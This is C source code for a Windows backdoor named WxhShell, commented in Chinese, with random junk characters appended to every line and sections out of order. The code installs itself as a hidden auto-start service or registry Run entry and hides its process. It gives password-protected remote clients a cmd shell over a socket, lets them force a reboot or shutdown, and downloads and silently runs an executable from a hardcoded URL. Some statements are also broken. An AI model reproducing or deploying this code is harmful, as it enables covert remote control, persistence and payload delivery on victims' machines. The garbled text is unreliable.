  // 关机 >zhbipA  
  case 'd': { y! 1NS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P?uKDON  
    if(Boot(SHUTDOWN)) V+K.' J ^@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[hJi3xM  
    else { {DO9{96w4  
    closesocket(wsh); 0UB'6wRVo  
    ExitThread(0); NAocmbfNz  
    } -jw=Iyv  
    break; " 7 4L  
    } ]V]o%onW  
  // 获取shell XF$C)id2p  
  case 's': { 5Q'R5]?h  
    CmdShell(wsh); =UP)b9*h  
    closesocket(wsh); 4* hmeS"  
    ExitThread(0); Mo<p+*8u:  
    break; p.IfJ|  
  } e)bqE^JP  
  // 退出 M*{e e0\`r  
  case 'x': { |ZKchd8Yq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fu><lN7  
    CloseIt(wsh); 4%{m7CK}  
    break; \%VoX` B  
    } g?+P&FL#I  
  // 离开 ?{dno=  
  case 'q': { +]_} \  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zj0&/S  
    closesocket(wsh); fj JIF%  
    WSACleanup(); *Ee# x!O  
    exit(1); %qv7;E2C  
    break; 87/{\h  
        } ZqGq%8\.s  
  } S9BJjo  
  } n(+:l'#HJ  
A,/S/_Q=  
  // 提示信息 P$QfcJq&c*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3WVHI$A9  
} $_UF9 l0  
  } Q&LkST-i  
Ek BM>*W  
  return; mnia>; 0H  
} J{ Vl2P?@  
#75;%a8  
// shell模块句柄 \#}%E h b  
int CmdShell(SOCKET sock) ),Rj@52l  
{ 'mM5l*{  
STARTUPINFO si; !1_:nD  
ZeroMemory(&si,sizeof(si)); 3QVng^"B)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kgu+ q\?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lb('r"*.  
PROCESS_INFORMATION ProcessInfo; "869n37  
char cmdline[]="cmd"; M@3H]t?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zYNJF>^<  
  return 0; U|QDV16f  
} |g{AD`  
57}q'84  
// 自身启动模式 Sq'z<}o  
int StartFromService(void) P;/T`R=Vr"  
{ '$VR_N\  
typedef struct hg~fFj3ST  
{ Kna'5L5"  
  DWORD ExitStatus; `xr%LsNn  
  DWORD PebBaseAddress; +A3 H#'  
  DWORD AffinityMask; tQ67XAb  
  DWORD BasePriority; CAA~VEUL  
  ULONG UniqueProcessId; L5W>in5(  
  ULONG InheritedFromUniqueProcessId; $9~1s/('  
}   PROCESS_BASIC_INFORMATION; @:@rks&  
`4qKQJw  
PROCNTQSIP NtQueryInformationProcess; yiq#p "Hs  
:KLD~k7yA(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IY&a!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "gz;Q  
;~J~g#  
  HANDLE             hProcess;  df'g},_  
  PROCESS_BASIC_INFORMATION pbi; L9@jmh*E  
UK,P?_e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K/-D 5U  
  if(NULL == hInst ) return 0; As`^Ku&  
O#\> j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =.c"&,c?L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vo-{3]u#=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ||=Duk  
Ln|${c  
  if (!NtQueryInformationProcess) return 0; "q .uiz+1:  
M=A9a x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %U 7B0-  
  if(!hProcess) return 0; hz%IxI9  
ap~Iz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _1'Pb/1  
;GS JnV  
  CloseHandle(hProcess); *&]l  
2LU'C,o?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P>-,6a>  
if(hProcess==NULL) return 0; $EIkk= z  
D,/9rH  
HMODULE hMod; Ah6x2(:  
char procName[255]; 08a|]li  
unsigned long cbNeeded; [Bo$?  
KF)i66  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3D0I5LF&  
val<N293L>  
  CloseHandle(hProcess); (T01hR&  
j+hoj2(  
if(strstr(procName,"services")) return 1; // 以服务启动 b*KZe[#M1  
 $wTX  
  return 0; // 注册表启动 b3lpNJ J  
} KoJG! Rm  
r `dU (T!  
// 主模块 Tt|6N*b'  
int StartWxhshell(LPSTR lpCmdLine) * U4:K@y  
{ sBnPS[Oo  
  SOCKET wsl; beE%%C]X  
BOOL val=TRUE; <*(R+to^d  
  int port=0; @ `D6F;R  
  struct sockaddr_in door; s_!Z+D$K  
~x:] ch|  
  if(wscfg.ws_autoins) Install(); -; $/<  
vM/v}6;_K2  
port=atoi(lpCmdLine); AtDrQ<>y'  
$lA,{Q  
if(port<=0) port=wscfg.ws_port; 59J9V3na  
^E17_9?  
  WSADATA data; ,IE0+!I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,v_r$kh^  
Y;Gm,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YPnJldVn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ':]a.yA\1  
  door.sin_family = AF_INET; N-E`go  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oFR'GUQC  
  door.sin_port = htons(port); TP::y  
j:3Hm0W3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ai18]QD-  
closesocket(wsl);  u$8MVP  
return 1; Cl!jK^AbG  
} {1|7N GQ  
ZF (=^.gc  
  if(listen(wsl,2) == INVALID_SOCKET) { V JL;+  
closesocket(wsl); W2h[NimU  
return 1; l$_rA~Mo  
} cV,Dl`1r  
  Wxhshell(wsl); Po. BcytM  
  WSACleanup(); \r,. hUp  
$:II @=  
return 0; M) XQi/  
m?$G(E5  
} }9 2lr87  
!p2,|6Y`y  
// 以NT服务方式启动 D(U3zXdO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @(fY4]K  
{ \'Kj.EO{?$  
DWORD   status = 0; :-" jK w  
  DWORD   specificError = 0xfffffff; [Od9,XBa  
q Xhf?x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _C=[bI@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ':)j@O3-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _)2TLA n3  
  serviceStatus.dwWin32ExitCode     = 0; $ywh%OEH  
  serviceStatus.dwServiceSpecificExitCode = 0; +N:6wZ7<f  
  serviceStatus.dwCheckPoint       = 0; xGv,%'u\  
  serviceStatus.dwWaitHint       = 0; G;c0  
J&65B./mD9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wg0.i?R-]  
  if (hServiceStatusHandle==0) return; 9XvM%aHs:  
7Sq{A@ ET  
status = GetLastError(); +{!t~BW  
  if (status!=NO_ERROR) l(\8c><m  
{ ]f-'A>MC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 00a<(sS;  
    serviceStatus.dwCheckPoint       = 0; #'J7Wy  
    serviceStatus.dwWaitHint       = 0; C+m^Z[  
    serviceStatus.dwWin32ExitCode     = status; )Q/`o,Vm  
    serviceStatus.dwServiceSpecificExitCode = specificError; y"p-8RVk{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B\ >}X_\4  
    return; JO{- P  
  } 42wC."A  
lv_%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qZ_fQ@   
  serviceStatus.dwCheckPoint       = 0; ` +BaDns  
  serviceStatus.dwWaitHint       = 0; <sYw%9V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7C7(bg,7^  
}  / !  
{&u7kWD|  
// 处理NT服务事件,比如:启动、停止 T^;Jz!e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ss@}Dt^  
{ He-Ja  
switch(fdwControl) UJ)M:~O  
{ um2s^G  
case SERVICE_CONTROL_STOP: C"Q=(3  
  serviceStatus.dwWin32ExitCode = 0; AnE_<sPA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ +-hn  
  serviceStatus.dwCheckPoint   = 0; =)1YYJTe9  
  serviceStatus.dwWaitHint     = 0; 5@t uo`k  
  { jsi#l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c$<O0dI  
  } To{G#QEgG  
  return; xc<eU`-' b  
case SERVICE_CONTROL_PAUSE: 1S]gD&V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IH5} Az  
  break; :Z]hI+7  
case SERVICE_CONTROL_CONTINUE: ~7 L)n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UEQ'D9  
  break; ~eOj:H  
case SERVICE_CONTROL_INTERROGATE: fQTA@WAr  
  break; 1o~U+s_r  
}; s]<r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v\9,j  
} cU5"c)$'  
$N+ {r=  
// 标准应用程序主函数 hB$Y4~T%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m/c&/6nk  
{ 9eN2)a/  
R ms01m>Y  
// 获取操作系统版本 Pzm!`F^r}  
OsIsNt=GetOsVer(); a.&#dxgW[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3auJ^B}  
g=g.GpFt  
  // 从命令行安装 u"8;fS  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;ko[(eFN@  
MLD>"W  
  // 下载执行文件 "kBqY+:Cn  
if(wscfg.ws_downexe) { P2Qyz}!wo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r {B,uj"  
  WinExec(wscfg.ws_filenam,SW_HIDE); fByh";<`P  
} l88a#zUQDN  
&c<}++'h  
if(!OsIsNt) { ks%7W -  
// 如果时win9x,隐藏进程并且设置为注册表启动 + 65~,e  
HideProc(); Y K?*7  
StartWxhshell(lpCmdLine); jPYe_y  
} O *J_+6  
else |h=+&*(:  
  if(StartFromService()) T ^%n!t  
  // 以服务方式启动 FH`'1iVH  
  StartServiceCtrlDispatcher(DispatchTable); ADv"_bB:h  
else _]D#)-uv}C  
  // 普通方式启动 C=dx4U~   
  StartWxhshell(lpCmdLine); Msa6yD#  
#?$'nya*u  
return 0; X# kjt )W  
} I~]Q55  
(XG[_  
Iz GB  
R<lNk<  
=========================================== ]zvVY:v  
+>!B(j\gx  
5e/qgI)M5  
C>:/(O  
T$8@2[  
ZH;y>Z  
" u $% D9Z^  
g",wkO|  
#include <stdio.h> d(DX(xg  
#include <string.h> :<t{ =0G  
#include <windows.h> )p!*c,  
#include <winsock2.h> \Sw+]pr~  
#include <winsvc.h> yK&* ,J |  
#include <urlmon.h> ANFg]g.Az  
.?i-rTF:  
#pragma comment (lib, "Ws2_32.lib") {n'qKur xY  
#pragma comment (lib, "urlmon.lib") n(Q\' ,C  
sR>`QIi(a  
#define MAX_USER   100 // 最大客户端连接数 uFm+Y]h  
#define BUF_SOCK   200 // sock buffer orB8Q\p'  
#define KEY_BUFF   255 // 输入 buffer KCJN<  
?9(o*lp  
#define REBOOT     0   // 重启 :zj9%4A  
#define SHUTDOWN   1   // 关机 pVV}1RDa  
vhYMWfbY  
#define DEF_PORT   5000 // 监听端口 `dgM|.w5=  
!O F?xW  
#define REG_LEN     16   // 注册表键长度 >St. &#c  
#define SVC_LEN     80   // NT服务名长度 f E.L  
UKKSc>D1  
// 从dll定义API sw41wj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tIyuzc~U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CrNwALx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .B 85!lCF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P>{US1t  
q?imE~&U  
// wxhshell配置信息 dq YDz  
struct WSCFG { && DD  
  int ws_port;         // 监听端口 3qAwBVWa  
  char ws_passstr[REG_LEN]; // 口令 m1hW<  
  int ws_autoins;       // 安装标记, 1=yes 0=no u( 1J=h  
  char ws_regname[REG_LEN]; // 注册表键名 2<[ eD`u  
  char ws_svcname[REG_LEN]; // 服务名 SLJ&{`"7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9@#h}E1$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QM[A;WBr7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3C rQBIj1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d1~_?V'r]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "w*+v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <2)s<S.;  
+9CEC1-l  
}; *%T)\\H2  
I #M%%5e  
// default Wxhshell configuration "K|)<6J  
struct WSCFG wscfg={DEF_PORT, @,x_i8  
    "xuhuanlingzhe", 861i3OXVE>  
    1, Gh]_L+  
    "Wxhshell", hncS_ZA  
    "Wxhshell",  Y8)E]D  
            "WxhShell Service", p~Hvl3SxR  
    "Wrsky Windows CmdShell Service", 4AY _#f5u  
    "Please Input Your Password: ", *<*0".#  
  1, & Fg|%,fv]  
  "http://www.wrsky.com/wxhshell.exe", -,~;qSs  
  "Wxhshell.exe" %s$rP  
    }; w~kHQ%A  
zH)cU%I@.  
// 消息定义模块 2PVx++*]C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XYqpI/s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XJx,9trH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $nB-ADRu@  
char *msg_ws_ext="\n\rExit."; !;o\5x<'$O  
char *msg_ws_end="\n\rQuit."; 24T@N~\g  
char *msg_ws_boot="\n\rReboot..."; $?FS00p*|X  
char *msg_ws_poff="\n\rShutdown..."; 7$!`p,@we/  
char *msg_ws_down="\n\rSave to "; 87QZun%  
="uKWt6n'  
char *msg_ws_err="\n\rErr!"; V I6\   
char *msg_ws_ok="\n\rOK!"; M"=8O>NZ2  
UGhW0X3k  
char ExeFile[MAX_PATH]; kCima/+_  
int nUser = 0; hq/J6 M  
HANDLE handles[MAX_USER]; ],;D2]<s  
int OsIsNt; cI*KRC U  
X^zYQ6t  
SERVICE_STATUS       serviceStatus; Xzl KP;r0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r1i$D  
79)A%@YHQQ  
// 函数声明 B0f_kH~p~  
int Install(void); 0o=!j3RjH  
int Uninstall(void); cu[!D}tVU  
int DownloadFile(char *sURL, SOCKET wsh); 5^)?mA  
int Boot(int flag); M[ x_#m|  
void HideProc(void); \'n$&PFe  
int GetOsVer(void); X'cf&>h  
int Wxhshell(SOCKET wsl); r%0pQEl  
void TalkWithClient(void *cs); K*_-5e  
int CmdShell(SOCKET sock); ]e^R@w  
int StartFromService(void); : @'fpN  
int StartWxhshell(LPSTR lpCmdLine); p/r~n'g$  
{mNdL J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "XCU'_k=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }qer   
rmOQ{2}  
// 数据结构和表定义 h^}_YaT\  
SERVICE_TABLE_ENTRY DispatchTable[] = yZq?B  
{ LO"_NeuL  
{wscfg.ws_svcname, NTServiceMain}, B;VH`*+X  
{NULL, NULL} >&bv\R/  
}; Rr%tbt.sE  
$bk>kbl P  
// 自我安装 aK]7vp+  
int Install(void) E@:Q 'g%  
{ TbOJp  
  char svExeFile[MAX_PATH]; [}z?1Gj;W(  
  HKEY key; IuNkfBe4m  
  strcpy(svExeFile,ExeFile); ]Z _$'?f  
l;Q >b]DZ  
// 如果是win9x系统,修改注册表设为自启动  ylk{!  
if(!OsIsNt) { cL#-*_(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cv3L&zg M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 h#s([uL  
  RegCloseKey(key); r,5-XB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o6*/o ]]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sp|q((z{  
  RegCloseKey(key); +9RJ%i&Ec  
  return 0; =M/qV  
    } : (cb2j(C  
  } :3v9h^|+  
} <nBo}0O}  
else { PNf&@  
+4Q[N;[+*  
// 如果是NT以上系统,安装为系统服务 XTV0Le\f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &`\ep9  
if (schSCManager!=0) 9qEOgJ  
{ [6H}/_nD  
  SC_HANDLE schService = CreateService ]3}feU+  
  ( #zxd;;p3  
  schSCManager, $57\u/(  
  wscfg.ws_svcname, A^-iHm  
  wscfg.ws_svcdisp, W+8^P( K  
  SERVICE_ALL_ACCESS, 8/Mx5~ R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TM0b-W (H  
  SERVICE_AUTO_START, 6#E7!-u(-  
  SERVICE_ERROR_NORMAL, yr5NRs  
  svExeFile, ) !i!3  
  NULL, VUp. j  
  NULL, +$PFHXB  
  NULL, Mq@}snp"S  
  NULL, ?1CJf>B>  
  NULL `|Ey)@w  
  ); !nwbj21%  
  if (schService!=0) SZ/(\kQ6  
  { \*uugw,\y  
  CloseServiceHandle(schService); `$at9  
  CloseServiceHandle(schSCManager); okz]Qc>G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EY~7oNfc`R  
  strcat(svExeFile,wscfg.ws_svcname); ! tGiTzzp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n'yl)HA~>`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Je^Y&a~  
  RegCloseKey(key); vevf[eO-  
  return 0; 4f!dY o4L  
    } QWw"K$l  
  } ;u,rtEMy;  
  CloseServiceHandle(schSCManager); _%%yV  
} FuuS"G,S  
} 45) D+  
JA<~xo[Q9  
return 1; wlrIgn%  
} 7H%_sw5S.  
]U[&uymax  
// 自我卸载 =5ug\S  
int Uninstall(void) Wab.|\c  
{ 8b7;\C~$p  
  HKEY key; )!eEO [\d  
&Pq\cNYzW  
if(!OsIsNt) { Lyr2(^#:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G?<pBMy  
  RegDeleteValue(key,wscfg.ws_regname); LJWTSf"f?  
  RegCloseKey(key); _dr*`yXi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3za`>bUN  
  RegDeleteValue(key,wscfg.ws_regname); j7}lF?cJ2  
  RegCloseKey(key); MKC$;>i  
  return 0; V\AK6U@r^  
  } 0~]QIdu{AR  
} 'irGvex  
} N<liS3>  
else { $@2"{9Z  
^X &)'H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4 \ F P  
if (schSCManager!=0) |'<vrn  
{ xl8#=qmCD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y\#o2PVmY  
  if (schService!=0) sL i*SR  
  { 3u_oRs  
  if(DeleteService(schService)!=0) { b@ 6:1x  
  CloseServiceHandle(schService); Fc'[+L--Q  
  CloseServiceHandle(schSCManager); 4UD' %}>y  
  return 0; .E$q&7@/j  
  } 2h )8Fq_"  
  CloseServiceHandle(schService); BSKEh"f  
  } 1i'Z ei)  
  CloseServiceHandle(schSCManager); JpK[&/Ct  
} +_~,86  
} OR;&TbWF(R  
_R74/|  
return 1; =Z`0>R`  
} >A($8=+#x  
U Du~2%  
// 从指定url下载文件 HN68!v}C|  
int DownloadFile(char *sURL, SOCKET wsh) ;&kn"b}G;  
{ iNJAZ6@+  
  HRESULT hr;  hgO?+x  
char seps[]= "/"; 6m+W#]^  
char *token; "0-y*1/m  
char *file; lR@& Z6lw  
char myURL[MAX_PATH]; W 2<3C  
char myFILE[MAX_PATH]; K/|  
H)5QqZ8  
strcpy(myURL,sURL); tpo>1|  
  token=strtok(myURL,seps); #ZWl=z5aBi  
  while(token!=NULL) <KLg0L<W  
  { .S_QQM}Q  
    file=token; U5<@<j(@  
  token=strtok(NULL,seps); ao$):,2*  
  } G9Qe121m  
(6R4 \8z2  
GetCurrentDirectory(MAX_PATH,myFILE); &@6 GI<  
strcat(myFILE, "\\"); g$w6kz_[  
strcat(myFILE, file); A(+:S"|@  
  send(wsh,myFILE,strlen(myFILE),0); Hf%_}Du /`  
send(wsh,"...",3,0); e+@xs n3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QNArZ6UQ  
  if(hr==S_OK) :l"dYfl  
return 0; v`B4(P1Z  
else jdM=SBy7q  
return 1; S}cF0B1E*  
"IwM:v  
} )0-o%- e  
i&&qbZt  
// 系统电源模块 _whF^g8  
int Boot(int flag) Uh}X<d/V  
{ Spgg+;9  
  HANDLE hToken; B 8{ uR  
  TOKEN_PRIVILEGES tkp; jczq `yW  
sRq U]i8l  
  if(OsIsNt) { Pp*}R2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~@P)tl>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H$tb;:  
    tkp.PrivilegeCount = 1; 5v9uHxy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S}7>RHe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RmOyGSO  
if(flag==REBOOT) { 4seciz0?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f#P_xn&et  
  return 0; U$'y_}V  
} C[YnrI!  
else { "EH,J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FkB{ SC J  
  return 0; 1;Xgc@  
} m r4b  
  } "'A"U  
  else { |sc Uo~  
if(flag==REBOOT) { g.a| c\WH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H/J<Pd$p  
  return 0;  YqU/\f+  
} JJ5C}`(  
else { frqJN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z*LiweR-  
  return 0; cNj*E =~;  
} io4aYB\  
} &Rp"rMeW  
;+`uER  
return 1; e<5Y94YE  
} <TxC!{<  
lLCdmxbT  
// win9x进程隐藏模块 #T\  
void HideProc(void) 0M8.U  
{ &+r 4  
o:UXPAj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `^##b6jH  
  if ( hKernel != NULL ) te'*<HM  
  { |4Ha?W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s'L?;:)dyB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a+?~;.i~  
    FreeLibrary(hKernel); 'm O2t~n  
  } )( bxpW  
j}RzXJ~t  
return; T~s}Nx#  
} yVS\Q,:J9  
sKfXg`0  
// 获取操作系统版本 wFL3& *  
int GetOsVer(void) cOku1 g8  
{ 70Ka!  
  OSVERSIONINFO winfo; 3ATjsOL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >5Lexj  
  GetVersionEx(&winfo); \!H{Ks{#R.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6c<ezEJ  
  return 1; Q6^x8  
  else ;&?pd"^<_Z  
  return 0; A/ 0qk  
} J_ J+cRwq  
[xdj6W  
// 客户端句柄模块 - DL"-%X.  
int Wxhshell(SOCKET wsl) HXks_ix )  
{ R]Qp Mj%o  
  SOCKET wsh; C5n?0I9  
  struct sockaddr_in client; 5I,$EGG  
  DWORD myID; Ze ? g  
0ar=cuDm  
  while(nUser<MAX_USER) |F!F{d^p  
{ E _iO@  
  int nSize=sizeof(client); mU G %LM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8QF`,oXQO  
  if(wsh==INVALID_SOCKET) return 1; gb 4pN  
nGrVw&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;nB2o-%  
if(handles[nUser]==0) bPd-D-R  
  closesocket(wsh); -7`-wu  
else Sz0+ <F#5  
  nUser++; #WufZ18#  
  } '6zd;l9Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2u:4$x8  
-<W2PY<  
  return 0; RJc%, ]:  
} X+ f9q0  
rsF:4G"%  
// 关闭 socket JBcY!dy-d  
void CloseIt(SOCKET wsh) \6 sQJq  
{ slvq9,  
closesocket(wsh); Oif,|:  
nUser--; Vxh.<b6&'  
ExitThread(0); [Ox(.  
} Lko`F$5X  
p|VcMxT9-  
// 客户端请求句柄 )5yj/0oT  
void TalkWithClient(void *cs) 4}yE+dRUK:  
{ G) 7)]yBL  
9 5 H?{  
  SOCKET wsh=(SOCKET)cs; ,Y!zORv<7  
  char pwd[SVC_LEN]; (pYYkR"  
  char cmd[KEY_BUFF]; H(qm>h$bU  
char chr[1]; :vQM>9l7  
int i,j; xncwYOz  
[7\>"v6  
  while (nUser < MAX_USER) { e4.&aIC[  
6 = gp:I  
if(wscfg.ws_passstr) { Hg(5S,O2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G5c7:iGm/c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~_PYNY`"  
  //ZeroMemory(pwd,KEY_BUFF); QIAR  
      i=0; D ,M@8 h,  
  while(i<SVC_LEN) { M|%c(K#E,3  
|.w;r   
  // 设置超时 arj$dAW  
  fd_set FdRead; y/R+$h(%  
  struct timeval TimeOut; 0.DQO;  
  FD_ZERO(&FdRead); K]"Kf{bx  
  FD_SET(wsh,&FdRead); Tf-CEHWD  
  TimeOut.tv_sec=8; uec|S\~M  
  TimeOut.tv_usec=0; }lfn0 %(@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %v4 [{ =fE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \ 4gXY$`@  
t[2i$%NVM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zj20;5o>U&  
  pwd=chr[0]; \4s;!R!  
  if(chr[0]==0xd || chr[0]==0xa) { u!1/B4!'O  
  pwd=0; > saI+u'o  
  break; GS%b=kc  
  } dVGbe07  
  i++; #nEL~&  
    } \A(5;ZnuD  
3k{ @.V ?]  
  // 如果是非法用户,关闭 socket .#!mDlY;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,- HIFbXx@  
} (I=6Nnt'  
`-O= >U5nH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2R`u[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?,% TU&Yn  
0Q1/n2V  
while(1) { 4<}A]BQVkJ  
']?=[`#NL  
  ZeroMemory(cmd,KEY_BUFF); Y6VQ:glDT-  
J Jy{@[m  
      // 自动支持客户端 telnet标准   p\S8oHWe  
  j=0; `C'}e  
  while(j<KEY_BUFF) { afm_Rrg[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'h}7YP, w  
  cmd[j]=chr[0]; d8:C3R  
  if(chr[0]==0xa || chr[0]==0xd) { Gah lS*W  
  cmd[j]=0; }1>atgq]w  
  break; 9^zx8MRXd  
  } t!jwY/T  
  j++; V2<i/6~  
    } >&hX&,hG  
m2b`/JW  
  // 下载文件  cht  
  if(strstr(cmd,"http://")) { 3h&bZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K-4tdC3  
  if(DownloadFile(cmd,wsh)) 0QoLS|voA/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Y-2 #  
  else PU+1=%'V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r}EM4\r  
  } ^saM$e^c:  
  else { FpzP #;  
`Bu9Nq  
    switch(cmd[0]) { D5` (}  
  b1=pO]3u  
  // 帮助 S=O$JP79  
  case '?': { _?b;0{93u  
